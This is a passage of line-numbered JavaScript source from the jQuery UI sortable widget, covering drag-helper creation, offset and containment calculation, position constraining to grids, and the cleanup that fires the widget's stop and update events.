1108 this.currentContainer = this.containers[ innermostIndex ];
1109
1110 //Update the placeholder
1111 this.options.placeholder.update( this.currentContainer, this.placeholder );
1112
1113 //Update scrollParent
1114 this.scrollParent = this.placeholder.scrollParent();
1115
1116 //Update overflowOffset
1117 if ( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
1118 this.scrollParent[ 0 ].tagName !== "HTML" ) {
1119 this.overflowOffset = this.scrollParent.offset();
1120 }
1121
1122 this.containers[ innermostIndex ]._trigger( "over", event, this._uiHash( this ) );
1123 this.containers[ innermostIndex ].containerCache.over = 1;
1124 }
1125
1126 },
1127
1128 _createHelper: function( event ) {
1129
1130 var o = this.options,
1131 helper = typeof o.helper === "function" ?
1132 $( o.helper.apply( this.element[ 0 ], [ event, this.currentItem ] ) ) :
1133 ( o.helper === "clone" ? this.currentItem.clone() : this.currentItem );
1134
1135 //Add the helper to the DOM if that didn't happen already
1136 if ( !helper.parents( "body" ).length ) {
1137 this.appendTo[ 0 ].appendChild( helper[ 0 ] );
1138 }
1139
1140 if ( helper[ 0 ] === this.currentItem[ 0 ] ) {
1141 this._storedCSS = {
1142 width: this.currentItem[ 0 ].style.width,
1143 height: this.currentItem[ 0 ].style.height,
1144 position: this.currentItem.css( "position" ),
1145 top: this.currentItem.css( "top" ),
1146 left: this.currentItem.css( "left" )
1147 };
1148 }
1149
1150 if ( !helper[ 0 ].style.width || o.forceHelperSize ) {
1151 helper.width( this.currentItem.width() );
1152 }
1153 if ( !helper[ 0 ].style.height || o.forceHelperSize ) {
1154 helper.height( this.currentItem.height() );
1155 }
1156
1157 return helper;
1158
1159 },
1160
1161 _adjustOffsetFromHelper: function( obj ) {
1162 if ( typeof obj === "string" ) {
1163 obj = obj.split( " " );
1164 }
1165 if ( Array.isArray( obj ) ) {
1166 obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 };
1167 }
1168 if ( "left" in obj ) {
1169 this.offset.click.left = obj.left + this.margins.left;
1170 }
1171 if ( "right" in obj ) {
1172 this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left;
1173 }
1174 if ( "top" in obj ) {
1175 this.offset.click.top = obj.top + this.margins.top;
1176 }
1177 if ( "bottom" in obj ) {
1178 this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top;
1179 }
1180 },
1181
1182 _getParentOffset: function() {
1183
1184 //Get the offsetParent and cache its position
1185 this.offsetParent = this.helper.offsetParent();
1186 var po = this.offsetParent.offset();
1187
1188 // This is a special case where we need to modify a offset calculated on start, since the
1189 // following happened:
1190 // 1. The position of the helper is absolute, so it's position is calculated based on the
1191 // next positioned parent
1192 // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't
1193 // the document, which means that the scroll is included in the initial calculation of the
1194 // offset of the parent, and never recalculated upon drag
1195 if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== this.document[ 0 ] &&
1196 $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) {
1197 po.left += this.scrollParent.scrollLeft();
1198 po.top += this.scrollParent.scrollTop();
1199 }
1200
1201 // This needs to be actually done for all browsers, since pageX/pageY includes this
1202 // information with an ugly IE fix
1203 if ( this.offsetParent[ 0 ] === this.document[ 0 ].body ||
1204 ( this.offsetParent[ 0 ].tagName &&
1205 this.offsetParent[ 0 ].tagName.toLowerCase() === "html" && $.ui.ie ) ) {
1206 po = { top: 0, left: 0 };
1207 }
1208
1209 return {
1210 top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ),
1211 left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 )
1212 };
1213
1214 },
1215
1216 _getRelativeOffset: function() {
1217
1218 if ( this.cssPosition === "relative" ) {
1219 var p = this.currentItem.position();
1220 return {
1221 top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) +
1222 this.scrollParent.scrollTop(),
1223 left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) +
1224 this.scrollParent.scrollLeft()
1225 };
1226 } else {
1227 return { top: 0, left: 0 };
1228 }
1229
1230 },
1231
1232 _cacheMargins: function() {
1233 this.margins = {
1234 left: ( parseInt( this.currentItem.css( "marginLeft" ), 10 ) || 0 ),
1235 top: ( parseInt( this.currentItem.css( "marginTop" ), 10 ) || 0 )
1236 };
1237 },
1238
1239 _cacheHelperProportions: function() {
1240 this.helperProportions = {
1241 width: this.helper.outerWidth(),
1242 height: this.helper.outerHeight()
1243 };
1244 },
1245
1246 _setContainment: function() {
1247
1248 var ce, co, over,
1249 o = this.options;
1250 if ( o.containment === "parent" ) {
1251 o.containment = this.helper[ 0 ].parentNode;
1252 }
1253 if ( o.containment === "document" || o.containment === "window" ) {
1254 this.containment = [
1255 0 - this.offset.relative.left - this.offset.parent.left,
1256 0 - this.offset.relative.top - this.offset.parent.top,
1257 o.containment === "document" ?
1258 this.document.width() :
1259 this.window.width() - this.helperProportions.width - this.margins.left,
1260 ( o.containment === "document" ?
1261 ( this.document.height() || document.body.parentNode.scrollHeight ) :
1262 this.window.height() || this.document[ 0 ].body.parentNode.scrollHeight
1263 ) - this.helperProportions.height - this.margins.top
1264 ];
1265 }
1266
1267 if ( !( /^(document|window|parent)$/ ).test( o.containment ) ) {
1268 ce = $( o.containment )[ 0 ];
1269 co = $( o.containment ).offset();
1270 over = ( $( ce ).css( "overflow" ) !== "hidden" );
1271
1272 this.containment = [
1273 co.left + ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) +
1274 ( parseInt( $( ce ).css( "paddingLeft" ), 10 ) || 0 ) - this.margins.left,
1275 co.top + ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) +
1276 ( parseInt( $( ce ).css( "paddingTop" ), 10 ) || 0 ) - this.margins.top,
1277 co.left + ( over ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) -
1278 ( parseInt( $( ce ).css( "borderLeftWidth" ), 10 ) || 0 ) -
1279 ( parseInt( $( ce ).css( "paddingRight" ), 10 ) || 0 ) -
1280 this.helperProportions.width - this.margins.left,
1281 co.top + ( over ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) -
1282 ( parseInt( $( ce ).css( "borderTopWidth" ), 10 ) || 0 ) -
1283 ( parseInt( $( ce ).css( "paddingBottom" ), 10 ) || 0 ) -
1284 this.helperProportions.height - this.margins.top
1285 ];
1286 }
1287
1288 },
1289
1290 _convertPositionTo: function( d, pos ) {
1291
1292 if ( !pos ) {
1293 pos = this.position;
1294 }
1295 var mod = d === "absolute" ? 1 : -1,
1296 scroll = this.cssPosition === "absolute" &&
1297 !( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
1298 $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ?
1299 this.offsetParent :
1300 this.scrollParent,
1301 scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName );
1302
1303 return {
1304 top: (
1305
1306 // The absolute mouse position
1307 pos.top +
1308
1309 // Only for relative positioned nodes: Relative offset from element to offset parent
1310 this.offset.relative.top * mod +
1311
1312 // The offsetParent's offset without borders (offset + border)
1313 this.offset.parent.top * mod -
1314 ( ( this.cssPosition === "fixed" ?
1315 -this.scrollParent.scrollTop() :
1316 ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) * mod )
1317 ),
1318 left: (
1319
1320 // The absolute mouse position
1321 pos.left +
1322
1323 // Only for relative positioned nodes: Relative offset from element to offset parent
1324 this.offset.relative.left * mod +
1325
1326 // The offsetParent's offset without borders (offset + border)
1327 this.offset.parent.left * mod -
1328 ( ( this.cssPosition === "fixed" ?
1329 -this.scrollParent.scrollLeft() : scrollIsRootNode ? 0 :
1330 scroll.scrollLeft() ) * mod )
1331 )
1332 };
1333
1334 },
1335
1336 _generatePosition: function( event ) {
1337
1338 var top, left,
1339 o = this.options,
1340 pageX = event.pageX,
1341 pageY = event.pageY,
1342 scroll = this.cssPosition === "absolute" &&
1343 !( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
1344 $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) ?
1345 this.offsetParent :
1346 this.scrollParent,
1347 scrollIsRootNode = ( /(html|body)/i ).test( scroll[ 0 ].tagName );
1348
1349 // This is another very weird special case that only happens for relative elements:
1350 // 1. If the css position is relative
1351 // 2. and the scroll parent is the document or similar to the offset parent
1352 // we have to refresh the relative offset during the scroll so there are no jumps
1353 if ( this.cssPosition === "relative" && !( this.scrollParent[ 0 ] !== this.document[ 0 ] &&
1354 this.scrollParent[ 0 ] !== this.offsetParent[ 0 ] ) ) {
1355 this.offset.relative = this._getRelativeOffset();
1356 }
1357
1358 /*
1359 * - Position constraining -
1360 * Constrain the position to a mix of grid, containment.
1361 */
1362
1363 if ( this.originalPosition ) { //If we are not dragging yet, we won't check for options
1364
1365 if ( this.containment ) {
1366 if ( event.pageX - this.offset.click.left < this.containment[ 0 ] ) {
1367 pageX = this.containment[ 0 ] + this.offset.click.left;
1368 }
1369 if ( event.pageY - this.offset.click.top < this.containment[ 1 ] ) {
1370 pageY = this.containment[ 1 ] + this.offset.click.top;
1371 }
1372 if ( event.pageX - this.offset.click.left > this.containment[ 2 ] ) {
1373 pageX = this.containment[ 2 ] + this.offset.click.left;
1374 }
1375 if ( event.pageY - this.offset.click.top > this.containment[ 3 ] ) {
1376 pageY = this.containment[ 3 ] + this.offset.click.top;
1377 }
1378 }
1379
1380 if ( o.grid ) {
1381 top = this.originalPageY + Math.round( ( pageY - this.originalPageY ) /
1382 o.grid[ 1 ] ) * o.grid[ 1 ];
1383 pageY = this.containment ?
1384 ( ( top - this.offset.click.top >= this.containment[ 1 ] &&
1385 top - this.offset.click.top <= this.containment[ 3 ] ) ?
1386 top :
1387 ( ( top - this.offset.click.top >= this.containment[ 1 ] ) ?
1388 top - o.grid[ 1 ] : top + o.grid[ 1 ] ) ) :
1389 top;
1390
1391 left = this.originalPageX + Math.round( ( pageX - this.originalPageX ) /
1392 o.grid[ 0 ] ) * o.grid[ 0 ];
1393 pageX = this.containment ?
1394 ( ( left - this.offset.click.left >= this.containment[ 0 ] &&
1395 left - this.offset.click.left <= this.containment[ 2 ] ) ?
1396 left :
1397 ( ( left - this.offset.click.left >= this.containment[ 0 ] ) ?
1398 left - o.grid[ 0 ] : left + o.grid[ 0 ] ) ) :
1399 left;
1400 }
1401
1402 }
1403
1404 return {
1405 top: (
1406
1407 // The absolute mouse position
1408 pageY -
1409
1410 // Click offset (relative to the element)
1411 this.offset.click.top -
1412
1413 // Only for relative positioned nodes: Relative offset from element to offset parent
1414 this.offset.relative.top -
1415
1416 // The offsetParent's offset without borders (offset + border)
1417 this.offset.parent.top +
1418 ( ( this.cssPosition === "fixed" ?
1419 -this.scrollParent.scrollTop() :
1420 ( scrollIsRootNode ? 0 : scroll.scrollTop() ) ) )
1421 ),
1422 left: (
1423
1424 // The absolute mouse position
1425 pageX -
1426
1427 // Click offset (relative to the element)
1428 this.offset.click.left -
1429
1430 // Only for relative positioned nodes: Relative offset from element to offset parent
1431 this.offset.relative.left -
1432
1433 // The offsetParent's offset without borders (offset + border)
1434 this.offset.parent.left +
1435 ( ( this.cssPosition === "fixed" ?
1436 -this.scrollParent.scrollLeft() :
1437 scrollIsRootNode ? 0 : scroll.scrollLeft() ) )
1438 )
1439 };
1440
1441 },
1442
1443 _rearrange: function( event, i, a, hardRefresh ) {
1444
1445 if ( a ) {
1446 a[ 0 ].appendChild( this.placeholder[ 0 ] );
1447 } else {
1448 i.item[ 0 ].parentNode.insertBefore( this.placeholder[ 0 ],
1449 ( this.direction === "down" ? i.item[ 0 ] : i.item[ 0 ].nextSibling ) );
1450 }
1451
1452 //Various things done here to improve the performance:
1453 // 1. we create a setTimeout, that calls refreshPositions
1454 // 2. on the instance, we have a counter variable, that get's higher after every append
1455 // 3. on the local scope, we copy the counter variable, and check in the timeout,
1456 // if it's still the same
1457 // 4. this lets only the last addition to the timeout stack through
1458 this.counter = this.counter ? ++this.counter : 1;
1459 var counter = this.counter;
1460
1461 this._delay( function() {
1462 if ( counter === this.counter ) {
1463
1464 //Precompute after each DOM insertion, NOT on mousemove
1465 this.refreshPositions( !hardRefresh );
1466 }
1467 } );
1468
1469 },
1470
1471 _clear: function( event, noPropagation ) {
1472
1473 this.reverting = false;
1474
1475 // We delay all events that have to be triggered to after the point where the placeholder
1476 // has been removed and everything else normalized again
1477 var i,
1478 delayedTriggers = [];
1479
1480 // We first have to update the dom position of the actual currentItem
1481 // Note: don't do it if the current item is already removed (by a user), or it gets
1482 // reappended (see #4088)
1483 if ( !this._noFinalSort && this.currentItem.parent().length ) {
1484 this.placeholder.before( this.currentItem );
1485 }
1486 this._noFinalSort = null;
1487
1488 if ( this.helper[ 0 ] === this.currentItem[ 0 ] ) {
1489 for ( i in this._storedCSS ) {
1490 if ( this._storedCSS[ i ] === "auto" || this._storedCSS[ i ] === "static" ) {
1491 this._storedCSS[ i ] = "";
1492 }
1493 }
1494 this.currentItem.css( this._storedCSS );
1495 this._removeClass( this.currentItem, "ui-sortable-helper" );
1496 } else {
1497 this.currentItem.show();
1498 }
1499
1500 if ( this.fromOutside && !noPropagation ) {
1501 delayedTriggers.push( function( event ) {
1502 this._trigger( "receive", event, this._uiHash( this.fromOutside ) );
1503 } );
1504 }
1505 if ( ( this.fromOutside ||
1506 this.domPosition.prev !==
1507 this.currentItem.prev().not( ".ui-sortable-helper" )[ 0 ] ||
1508 this.domPosition.parent !== this.currentItem.parent()[ 0 ] ) && !noPropagation ) {
1509
1510 // Trigger update callback if the DOM position has changed
1511 delayedTriggers.push( function( event ) {
1512 this._trigger( "update", event, this._uiHash() );
1513 } );
1514 }
1515
1516 // Check if the items Container has Changed and trigger appropriate
1517 // events.
1518 if ( this !== this.currentContainer ) {
1519 if ( !noPropagation ) {
1520 delayedTriggers.push( function( event ) {
1521 this._trigger( "remove", event, this._uiHash() );
1522 } );
1523 delayedTriggers.push( ( function( c ) {
1524 return function( event ) {
1525 c._trigger( "receive", event, this._uiHash( this ) );
1526 };
1527 } ).call( this, this.currentContainer ) );
1528 delayedTriggers.push( ( function( c ) {
1529 return function( event ) {
1530 c._trigger( "update", event, this._uiHash( this ) );
1531 };
1532 } ).call( this, this.currentContainer ) );
1533 }
1534 }
1535
1536 //Post events to containers
1537 function delayEvent( type, instance, container ) {
1538 return function( event ) {
1539 container._trigger( type, event, instance._uiHash( instance ) );
1540 };
1541 }
1542 for ( i = this.containers.length - 1; i >= 0; i-- ) {
1543 if ( !noPropagation ) {
1544 delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) );
1545 }
1546 if ( this.containers[ i ].containerCache.over ) {
1547 delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) );
1548 this.containers[ i ].containerCache.over = 0;
1549 }
1550 }
1551
1552 //Do what was originally in plugins
1553 if ( this.storedCursor ) {
1554 this.document.find( "body" ).css( "cursor", this.storedCursor );
1555 this.storedStylesheet.remove();
1556 }
1557 if ( this._storedOpacity ) {
1558 this.helper.css( "opacity", this._storedOpacity );
1559 }
1560 if ( this._storedZIndex ) {
1561 this.helper.css( "zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex );
1562 }
1563
1564 this.dragging = false;
1565
1566 if ( !noPropagation ) {
1567 this._trigger( "beforeStop", event, this._uiHash() );
1568 }
1569
1570 //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately,
1571 // it unbinds ALL events from the original node!
1572 this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] );
1573
1574 if ( !this.cancelHelperRemoval ) {
1575 if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) {
1576 this.helper.remove();
1577 }
1578 this.helper = null;
1579 }
1580
1581 if ( !noPropagation ) {
1582 for ( i = 0; i < delayedTriggers.length; i++ ) {
1583
1584 // Trigger all delayed events
1585 delayedTriggers[ i ].call( this, event );
1586 }
1587 this._trigger( "stop", event, this._uiHash() );
1588 }
1589
1590 this.fromOutside = false;
1591 return !this.cancelHelperRemoval;
1592
1593 },
1594
1595 _trigger: function() {
1596 if ( $.Widget.prototype._trigger.apply( this, arguments ) === false ) {
1597 this.cancel();
1598 }
1599 },
1600
1601 _uiHash: function( _inst ) {
1602 var inst = _inst || this;
1603 return {
1604 helper: inst.helper,
1605 placeholder: inst.placeholder || $( [] ),
1606 position: inst.position,
1607 originalPosition: inst.originalPosition,
1608 offset: inst.positionAbs,
1609 item: inst.currentItem,
1610 sender: _inst ? _inst.element : null
1611 };
1612 }
1613
1614} );
1615
1616} );
1617